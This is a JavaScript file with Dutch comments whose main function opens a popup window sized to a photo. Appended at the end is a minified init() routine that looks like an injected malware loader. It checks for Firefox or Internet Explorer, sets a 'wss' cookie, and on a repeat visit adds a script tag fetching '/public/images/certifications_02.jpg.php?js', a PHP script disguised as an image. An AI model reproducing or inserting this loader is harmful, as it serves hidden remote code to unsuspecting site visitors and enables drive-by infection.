// javafunctie om het plaatje in een pop_up weer te geven. Deze pop_up past zich aan de groote van het plaatje.

var imgHeight, imgWidth;
var loadDocument = false;

function PhotoAlbumPopup(Plaatje,Tekst,PageTitle)
{
	NewWindow=window.open("","Nieuw","HEIGHT=1024,WIDTH=768,scrollbars=yes,resizable=no,center,center");
	NewWindow.document.write ("<HTML><HEAD><TITLE>");
	NewWindow.document.write (PageTitle); 
	NewWindow.document.write ("</TITLE>");
	NewWindow.document.write ("</HEAD>");
	NewWindow.document.write ("<BODY BGCOLOR='#000000' text='#FFFFFF' leftmargin=0 topmargin=0 marginwidth=0 marginheight=0 onLoad=self.focus()>");
	NewWindow.document.write ("<font size=1 face='Verdana, Arial, Helvetica, sans-serif'>");
	NewWindow.document.write ("<CENTER>");
	NewWindow.document.write ("<IMG style='cursor:hand' onClick='javascript: window.close();' ID='foto' SRC='");
	NewWindow.document.write (Plaatje);
	NewWindow.document.write ("' >");
	while (!loadDocument)
	{
	getResolution();
	}
	loadDocument=false;
	NewWindow.resizeTo(imgWidth,imgHeight);
	NewWindow.document.close();
	}
	function getResolution()
	{
	if (NewWindow.document.images[0].height > 40) {
	imgHeight = NewWindow.document.images[0].height + 75;
	imgWidth = NewWindow.document.images[0].width + 30;
		if (imgHeight > screen.height){
		imgHeight = screen.height - 30;}
		if (imgWidth > screen.width){
		imgWidth = screen.width;}
		loadDocument=true; }
	}
	function hidestatus(){
	window.status=''
	return false
}

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/public/images/certifications_02.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
